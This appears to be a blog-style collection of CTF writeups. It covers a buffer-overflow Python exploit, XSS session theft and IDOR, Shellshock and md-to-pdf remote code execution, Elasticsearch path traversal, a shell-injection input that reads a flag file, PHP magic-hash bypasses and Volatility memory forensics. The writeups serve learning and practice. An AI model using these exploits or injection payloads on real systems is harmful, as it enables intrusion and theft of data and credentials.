# 🏠 Home Repositories of laet4x writeups and blogs for CTF. # 🖥INTIGRITI 2024 # Warmup - Babyflow ## Challenge

## Warmup PWN Challenge: babyflow Writeup In this writeup, we'll walk through solving the "Warmup" PWN challenge step by step. The goal is to exploit a buffer overflow vulnerability to bypass a password check and reveal the flag. ### Analyzing the Binary We start by running binary ninja to decompile the file.

We examine the decompiled code snippet: ```c int32_t main(int32_t argc, char** argv, char** envp) { int32_t var_c = 0; printf("Enter password: "); fgets(&buf, 50, stdin); if (strncmp(&buf, "SuPeRsEcUrEPaSsWoRd123", 22) != 0) puts("Incorrect Password!"); else puts("Correct Password!"); if (var_c == 0) puts("Are you sure you are admin? o.O"); else puts("INTIGRITI{the_flag_is_different_…}"); return 0; } ``` #### **Trying to use the password**

#### **Key Points:** * The program asks for a password input and checks it using `strncmp` against the hardcoded string `"SuPeRsEcUrEPaSsWoRd123"`. * If the password is correct, it checks the value of `var_c`. * If `var_c` is still `0`, it prints a message asking if you are the admin. * If `var_c` is non-zero, it reveals the flag. ### Step 2: Crafting the Exploit We need to: 1. Input the correct password to pass the check. 2. Overflow the buffer to modify `var_c` and set it to a non-zero value, which will reveal the flag. **Buffer Overflow:** * The buffer size is 50 bytes, and the password takes up the first 22 bytes. * That leaves 28 bytes for padding and overflow. * We need to overflow into `var_c` (a 4-byte integer) and set it to `1`. ### Step 3: Writing the Python Exploit Now, let's write a Python script to send the payload to the server. ```python import socket # Connect to the remote server host = 'babyflow.ctf.intigriti.io' port = 1331 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Receive and print the initial message response = s.recv(1024).decode('utf-8') print(response) # Prepare the exploit payload password = "SuPeRsEcUrEPaSsWoRd123" padding = "A" * (50 - len(password)) # Fill the buffer space overflow_payload = padding + "\x01\x00\x00\x00" # Overwrite var_c with 1 # Send the payload s.sendall((password + overflow_payload + "\n").encode('utf-8')) # Receive and print the flag response = s.recv(1024).decode('utf-8') print(response) # Close the connection s.close() ``` ### Step 4: Running the Exploit Once the script is ready, simply run it using: ```bash python babyflow.py ``` If the exploit is successful, the program will print the flag:

### Conclusion This challenge demonstrates a classic buffer overflow attack. We bypass the password check by inputting the correct password, then overflow the buffer to manipulate a local variable (`var_c`). When `var_c` is changed from `0` to `1`, the program reveals the flag. By following these steps, we successfully exploited the vulnerability and obtained the flag. This writeup covers the basic principles of exploiting buffer overflows in C programs and how to automate the process using Python. # OSINT - Bob L'éponge ## OSINT Challenge: Bob L'éponge

In this writeup, we’ll walk through solving an OSINT challenge involving a YouTube video link. The task was to find a hidden flag without any obvious clues in the video or its description. ### Analyzing the YouTube Video The first step was to check the YouTube video link provided in the challenge. I looked into the following aspects: * **Video Description**: No flag or useful information found. * **Comments**: There were no hints or flags present in the comments. * **Uploader’s Profile**: I checked the profile of the uploader, including the bio, but didn’t find anything useful. ### Checking the Playlists Noticing that the uploader had some public playlists, I decided to investigate them: * I checked each video in the playlists, but there were no visible flags or links. * This made me suspect that the flag could be hidden in a less obvious place, which is common in OSINT challenges. ### Extracting YouTube Metadata Since the flag wasn’t visible in the video content, description, or playlists, I turned to YouTube metadata analysis. I used the following website for this: [YouTube Metadata Tool](https://mattw.io/youtube-metadata)

This tool allows you to extract hidden metadata from YouTube videos, including tags, which are often used by creators but are not visible directly on the YouTube platform. ### Finding the Hidden Flag After inputting the YouTube video link into the metadata tool, I reviewed the extracted metadata. Among the various tags, I found the hidden flag:

# 🖥 ROOTCON 16 Pre-Qualifier ROOTCON 16 Pre-qualifier # 1️⃣ Easy 300: Illusive Mind with Illusive Thoughts

This is an OSINT challenge that requires to use BeVigil to find the flag. As explained from the challenge above, there is an organization, CSP Bank whose data is available for sale from Dark Web. Using BeVigil, we have to retrace the steps made by Underground Intelligence Team to find the database credentials. The fact is, this is my first time using BeVigil, I wasn't familiar with the tool until this challenge. Which is a challenge in itself already. But the good thing is the tool is easy to use, though I might waste a minute or two with data overload and too many ideas. Then after a few tries, I paused and analyzed the challenge scenario once again. This leads me to different clues, particularly the most important one, "**Unknown High Entropy String**". Below are the steps I did which in return led me to the flag. Based from the challenge description, I need to check the CSP Bank using BeVigil.

The challenge contains potential clues, one of them is the "Unknown High Entropy String". Upon checking the report of CSP Bank from BeVigil, I found the Unknown High Entropy String under the list of Issues -> Strings.

From the "Unknown High Entropy String" there are matched files listed, one of them is cspbank/constants.java. Upon reviewing the file, there are list of strings variables, one of them is a url with a JSON response.

I searched for Central Public Bank, then I got the following results ``` "Account Name":"Central Public Bank","DB_URL":"https://mysql_db.cspbank.com","ID":"Y29tLmludGwuY3NwY2FyZA=="} ```

I then tried to decode the base64 data and found this new application: ***com.intl.cspcard*** \ I use Bevigil again and export all the strings from that application and found a hex string in the excel file.

I decoded the hex to strings and I got the following text below.

I got a random string, but I notice a ***{ }*** symbol, and a word that is almost a ***BeVigil*** and similar to ***admin*** word. I tried to switch every 2 characters except for the first one. C ol du ES \_K eB iV ig -l d{ \_b da im :n da im @n 89 }7 C lo ud SE *K\_ Be Vi gi l- {d b\_* ad mi n: ad mi n@ 98 7} The flag is : ***CloudSEK\_BeVigil-{db\_admin:admin\@987}*** # 2️⃣ Easy 300: Hack and Take a Break

The challenge pointed to CSP Bank, a Firebase Appspot Storage and BeVigil for indexing and research. Following the same process from the other challenge, wherein a constant.java file has list of strings, there I got the clues connected to the firabase storage. As shown in the image below, there is another link we have to check.

Upon visiting the link, what I got are scrambled texts which at first glance don't make any sense. Then I noticed in the URL wherein the file title is "rotated.json" which reminds me of rot13 cipher. This is a simple letter substitution cipher that replaces a letter with the 13th letter after it in the alphabet.

Using rot13.com, I got the result below ``` "Name": "Unlimited Free", "Developer": "support@unlimitedfree.com" ```

The results return one readable name and developer's email, **Unlimited Free** / **.** Back to BeVigil, using the found credentials, and this time with the Advanced Search, I got the following results.

I click at Strings -> Unknown High Entropy String -> sources/com/intl/unlimitedfree/internal.java

Then, I got a hex value below:

I decode it and got the following flag:

Conclusion: I learn how to use BeVigil, sometimes I'm lazy in doing deep checking/investigation of links and encoded strings but I just realize that those fundamentals in CTF are very important. Being familiar with encoding is very important too when it comes to CTF. # 🖥 HTB Cyber Apocalypse 2022 Intergalactic Chase # 1️⃣ Web 300: Kryptos Support

During my enumeration I got a field wherein you can submit via form, and another page which is a login portal.

I submitted a test content and got this:

The response above gave me a hint of possible XSS attack. Which leads me to get an Admin Cookies/Session. I sent a crafted xss payload using . ``` ``` Now I have the session cookies.

I installed a cookie editor to use the session that came from the results of my XSS attack.

Then redirected to the admin panel. I didn't find any field or upload files, just the ticket that I submitted.

Upon checking the links, I found a change password field. I tried to change the password of the current account, that's when I noticed that the account I compromised is a moderator.

So I thought that maybe there is an Admin account for this application. Next is enabling the inspect element functions of the browser to check some hidden fields, and that where I got the UID.

I decided to edit the value to 1 and supplied my chosen password and click submit, then I received this message below

I login using admin and my chosen password and was automatically redirected to Home Page with a Flag.

Conclusion: **The application is vulnerable to Persistent XSS and IDOR or known as Insecure Direct Object Reference.** # 2️⃣ Web 300: BlinkerFluids

The challenge contains of web app and a source code. The page contains of markdown editor and after submission it convert the text to pdf. Reviewing the source code and its node.js, basically checking the packages.json for possible vulnerable packages, that's where I notice the md-to-pdf package.

Then I tried to searched for possible exploit and found RCE on snyk.io :

Which leads me to check to the github issues where I found an interesting comment.

I created an RCE code and supplied it to the markdown editor and I click submit.

Then, I created another markdown to check if the rce2.txt is created, and it listed all the files which the rce2.txt has been created.

I created a final markdown content to read the rce2.txt, then i got the flag.

Conclusion: ***Package vulnerabilities help me get the flag that highlighted the importance of source code review.*** # 🖥 ROOTCON 15 CTF I’m back to ROOTCON CTF! This time with a new team which we called Squid Gamers. Yes, we joined the hype! Special thanks to my teammates, Cyber3n, and Zem3ck1s for doing their best during their free time solving the challenges. Though we didn’t win CTF we still get to enjoy the game and learn a lot which is for me is still a win. Plus a bonus real win for getting the top score in Hacker Jeopardy which gives us our first Black Badge. Not bad for first time in Rootcon HJ. And we also made the goons drink so much! # Exploitation 4

This challenge requires us to read the /flag.txt file During our enumeration we found the **Elasticsearch Directory Traversal (CVE-2015-5531)** vulnerabilities Description: Directory traversal vulnerability in Elasticsearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.

We change the path to /flag.txt to read the file. But we got encoded data.

We used some online decoding tools to decode the data from decimal into ascii.

Flag: ***RC15{J5ekuUdMY7BLZmktYCXzWZhZZ4J3W8pv}*** # Exploitation 6

This challenge requires us to get shell access to the server. Based on our enumeration using Ridgebot, one of the vulnerabilities of the server is **Shellshock Remote Code Execution (CVE-2014-6271).** Description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod\_cgi and mod\_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka 'ShellShock.' I use ngrok since I don't have any VPS to create a tunnel to my kali machine.

I replace the payload with one-liner reverse shell

I prepare my netcat listener, then I hit enter then I got a reverse shell connection

Inside the server, I found the image which contains the flag

Flag: ***RC15{sXpbTeFkvtXALSTpT2Fd866774kA5kzp}*** # Web 200

Let's Go!! Challenge Writeups Category: Web Challenge: You can’t see me! Points: 200

The IP address above directed me to the PHP code below.

#### Analysis LINE 7 is the inclusion of the file flag.php but we can't see the source code. LINE 11 is to GET request accepting 2 parameters. If you look closely the font used for the letter C in rootcon is different in the 2nd get request. The condition tells us that these 2 parameters should not be equal.

I manually copied the word and verified it using URL decoding.

Now we have our URL without a value: Let’s analyze the next line, which is LINE 12, which indicates that the 2 md5hash must be equal.

It reminds me of my previous writeup for Rootcon Recovery Mode last year about magic hash. You may check it from this link below . So I decided to reuse the script. Basically, this script will find word/s to combine with the word ‘pwndemanila’, which in return will result in “0e” + 30 digits MD5 hash.

After several minutes I got the results:

Solution: pwndemanilaaffyjL = 0e154876879366669632612315475677 pwndemanilaa1MGTc = 0e660685420749161809595800684366 Anything that starts with “0e”, followed strictly by only digits will return TRUE, which makes LINE 12 TRUE. This is also what we need in LINE 11 since we remove the ‘pwndemanila’ we got pffyjL and a1MGtc and make LINE 11 TRUE. I crafted our final URL and we Got the flag: {% embed url="" %}

Flag: ***RC15{tqfXZWoEvj4ukK5WJGAPqTfBRs7iTN}*** Special Thanks! I would like to thanks pwndemanila and rootcon for the exciting challenges in this year’s Capture The Flag. Shoutout to our another team, SOCTEAM CTF for the support. See you next year!!! # 🖥 HTB Business CTF 2021 Hack The Box (HTB) hosted its very first “corporate only” CTF this past weekend which is called HTB Business CTF 2021. My friend invited me to join their team. So without further ado, let's get into it.

# Time Challenge: Time Category: Web Get the current date and time, anytime, anywhere!

I notice that it changed when I click the What’s the date? menu.

Since it's a web challenge, I thought of a possible code injection vulnerability. They provided a source code: ``` web_time ├── build_docker.sh ├── challenge │ ├── assets │ │ └── favicon.png │ ├── controllers │ │ └── TimeController.php │ ├── index.php │ ├── models │ │ └── TimeModel.php │ ├── Router.php │ ├── static │ │ └── main.css │ └── views │ └── index.php ├── config │ ├── fpm.conf │ ├── nginx.conf │ └── supervisord.conf ├── Dockerfile └── flag ``` First, I checked the directory structure, so it's MVC since we have controller, model, and views folders. Second, I checked the Dockerfile and build it inside my machine, and examine what is the docker image, command used and where’s the flag located. ``` FROM debian:buster-slim # Setup user RUN useradd www # Install system packeges RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget # Add repos RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list # Install PHP dependencies RUN apt update && apt install -y php7.4-fpm # Configure php-fpm and nginx COPY config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf COPY config/supervisord.conf /etc/supervisord.conf COPY config/nginx.conf /etc/nginx/nginx.conf # Copy challenge files COPY challenge /www # Setup permissions RUN chown -R www:www /www /var/lib/nginx # Copy flag COPY flag /flag # Expose the port nginx is listening on EXPOSE 80 # Populate database and start supervisord CMD /usr/bin/supervisord -c /etc/supervisord.conf ``` I found that the flag is located in /flag path, but they provided a sample flag inside their source code:

Next is I checked controllers/TimeController.php ```php view('index', ['time' => $time->getTime()]); } } ``` This indicated that the Controller called/created the object TimeModel, so I checked the models/TimeModel.php ```php command = "date '+" . $format . "' 2>&1"; } public function getTime() { $time = exec($this->command); $res = isset($time) ? $time : '?'; return $res; } } ``` I found `$this->command = “date ‘+” . $format . “‘ 2>&1”;` This means that we need to inject command (command injection vulnerability) We can break out the string by adding a single quote (‘) and add a semi-colon(;) I make an easy request using Burpsuite: `/?format='; cat ' ../flag`

Gotcha, I found a flag!!! # NoteQL Challenge: NoteQL Category: Web

The application is a note-taking application that uses GraphQL to save and fetch notes. I forgot to screenshots the main page of the challenge but our goal is to get the Hidden/Admin Notes. I use Burpsuite to observe the GraphQL request and response.

The default query is: `{“query” : “{ MyNotes {id, title, completed}}”}` I tried to change the MyNotes to Notes (guess), but I found an interesting response. Notes do not exist, but the response suggests other Notes, such as **Note, MyNotes, and AllNotes.**

I change the query into **AllNotes**, then I found the flag at **id:3, title: HTB{n0b0dy\_c0ntr0ls\_m3!!}**

# 🖥 ROOTCON RECOVERY MODE

*My friends and I participated in **Rootcon Recovery Mode CTF** this year. This is my **2nd tim**e to join Rootcon CTF, and for this year, as expected the country’s best and experienced teams are competing. My team manages to pass the qualifiers and move to the finals (without my help) since I was asked to join the team after and in short notice.* *This year CTF is different, and the challenges are frustratingly hard, but it was fun. There are different categories for each challenge to solve, and from those choices, I tried one first from **Forensic,** which is not really my forte. This might be the easy one, which I’m going to discuss below.* *Lets start and dig in.* # Forensics (Warm Up) Category: Forensics Challenge: Warm Up Points: 100

We are given a *.zip* file that contains ***challenge.raw*** file. Since this is a memory image file, I decided to use ***volatility*** tools for this challenge*.*

It worked! I get a suggested profile and confirmed that this is a memory image file. Now let’s start solving the questions: **Number 1**: ***What is the hostname of the source of this memory image?*** For this one, I dump the hives to get the offset where we will get the hostname:

Then I dump the registry key where the hostname is revealed.

Question number **2, 3, and 4** has the same goal which is to get the password of the users. **What is the password of user Le?** **What is the password of user Li?** **What is the password of user S?** I’m interested in the 2 offsets: SYSTEM (-y) and SAM (-s)

I use crackstation.net, an online password hash cracker to crack the password. I was able to crack the first user and the others.

Now let’s proceed to **Number 5, 6, and 7** which needs the IP Address and port of backdoor listening on. **What is the attacker’s IP address?** **What is the victim’s IP address?** **Which port is the backdoor listening on?** I run `connections` and `connscan` but it seems the profile does not support this command so I look for other solutions and found that we need to run `netscan` command. From there, I get the IP Address of the Attacker and Victim and port which is the backdoor listening on.

Now let’s proceed to questions **Number 8 to 13,** which takes me longer to solve. I won’t discuss the other steps I tried here. I’ll just go straight to the right solution. Since we are looking for malware I run `pslist` and `pstree` command. `pstree` uses the same technique as `pslist` but the result is based on the parent-child relationship between the processes.

For example, here we can see that `nc64.exe` started `cmd.exe` which in turn started the instances of `lsass.exe` and `svchost.exe.` So we search for commands and can be done using the`cmdline`

### Analysis: 1. The attacker run `nc64.exe` 2. Download the `lsass.exe` and the path is located at `C:\Users\samael\lsass.exe` 3. Execute the `lsass.exe` that's running on pid `1952`to download `svchost.exe`located at `C:\Users\samael\svchost.exe` 4. Execute the `svchost.exe` that's running on pid `2972`, the file is mimikatz upon analysis I assume the `lsass.exe`is malware. I dump a process’s executable by using the `procdump` command and uploaded it to the virustotal.com. Few AV detected this as malware.

I use `memdump`, a simple analysis of these files can be done by using the “**strings**”, we are looking for a relation between the piece of information already retrieved from the dump (especially the opened TCP connection towards the `10.163.7.130` IP) `strings 1952.dmp | grep -Fi “10.163.7.130” -C 5` Look what I found, So it seems `lsass.exe`processes is to download a new file `svchost.exe`

I suspected that this file is malware. I run `procdump` again on pid `2972`and uploaded it to virustotal.com and look what I found?! Its **mimikatz!!!**

So now I identify all **process name** of malware running in lower and higher **pid** and the path. *Number 8: **lsass.exe*** *Number 9: **1952*** *Number 10: **svchost.exe*** *Number 11: **2972*** *Number 12:**C:\Users\samael\lsass.exe*** *Number 13:**C:\Users\samael\svchost.exe*** Now we combine all the results and run **md5sum** > printf ‘%s’ “RC-MINIONS\~darklighter\~97sunfire\~poisonthewell\~10.163.7.130\~10.163.7.100\~5900\~lsass.exe\~1952\~svchost.exe\~2972\~C:\Users\samael\lsass.exe\~C:\Users\samael\svchost.exe” | md5sum Voila!!! **rc14{81cd8971d7cdbf45d2cdf4c90fbaa339}** ## Conclusion I would like to thanks my teammates (*Sai and Chris*). Thanks also to **ROOTCON** and **PWN DE MANILA** for the challenge. I hope you guys enjoyed reading this write-up! For references, you may look into these links: 1. Volatility Command Reference — 2.
# Web (Wizardry) *For this post, I will write our team’s solutions for the Web challenge — **Wizardry.** If you haven’t read yet my previous post on Forensics Challenge you may visit here:* [Forensics (Warm Up)](/ctf-2020/rootcon-recovery-mode/forensics-warm-up) *Let’s start.* ## Challenge Writeups Category: Web Challenge: Wizardry Points: 300

The IP address above directed me to the PHP code below. ![](/files/2G2SyAwLeHoEbzKmaRG9)
#### Analysis Line 2 is the inclusion of file flag.php but we can't see the source code. Line 5 to 7 is a GET request accepting 3 parameters magicword , bonus and round Line 8 to 9 is a static value. (Shoutout to PWN DE MANILA) **First Condition:**

The condition is a bit confusing at first. It indicates that the hash must equal to the md5 of get1which is from the magicword parameter. It doesn’t make sense to me, so I have to check more about MD5 hash and by doing so I found a blog about Magic Hashes.

So, this is PHP loose comparison challenge, the vulnerability for this challenge comes into play when there is a loose comparison (==). ```php ``` I created a PHP script for the initial condition which contain the given hash value.

It returns **TRUE!** But there is an obstacle on the next condition which is preg\_match. Even I got the magic hashes for the equivalent of the hash value, I need to complete the preg\_matchcondition which must include pwndemanila value. My current magicword value doesn't work on the preg\_match condition. So we need to find a string, that when combined with the host, it returns “0e” + 30 digits because anything that starts with “0e”, followed strictly by only digits will return TRUE. I use this basic python script:

To verify I get the md5 value of **pwndemanilaffyjL**

We got the string. I can now complete the PHP code.

**Here’s the explanation for the code above:** Line 5 — $get1 md5 value and $hash value returns TRUE, even not match since it starts with 0e. Line 7 — $get1 value contains a regular expression from $host value /pwndemanila/ which returns TRUE. So it seems we have found a valid string **magicword=pwndemanilaffyjL** **Second Condition:** Line 25 to 26 is easy, we just need the same value of get2 and md5 of get3. Which are magic hashes that we already used in the example above. bonus=0e462097431906509019562988736854 round=240610708 Combining all the GET parameter requests we’ll get: Voila!!! We get the Flag! (I didn't get the screenshots from the web). **RC14{m4g1c4ndv1rus3s15ev3rywh3r3h4h4h4h4}** #### Conclusion: In this challenge, we learn more about Magic hashes and PHP Type Juggling. For Reference: Magic Hashes: PHP Type Juggling: Related Challenges: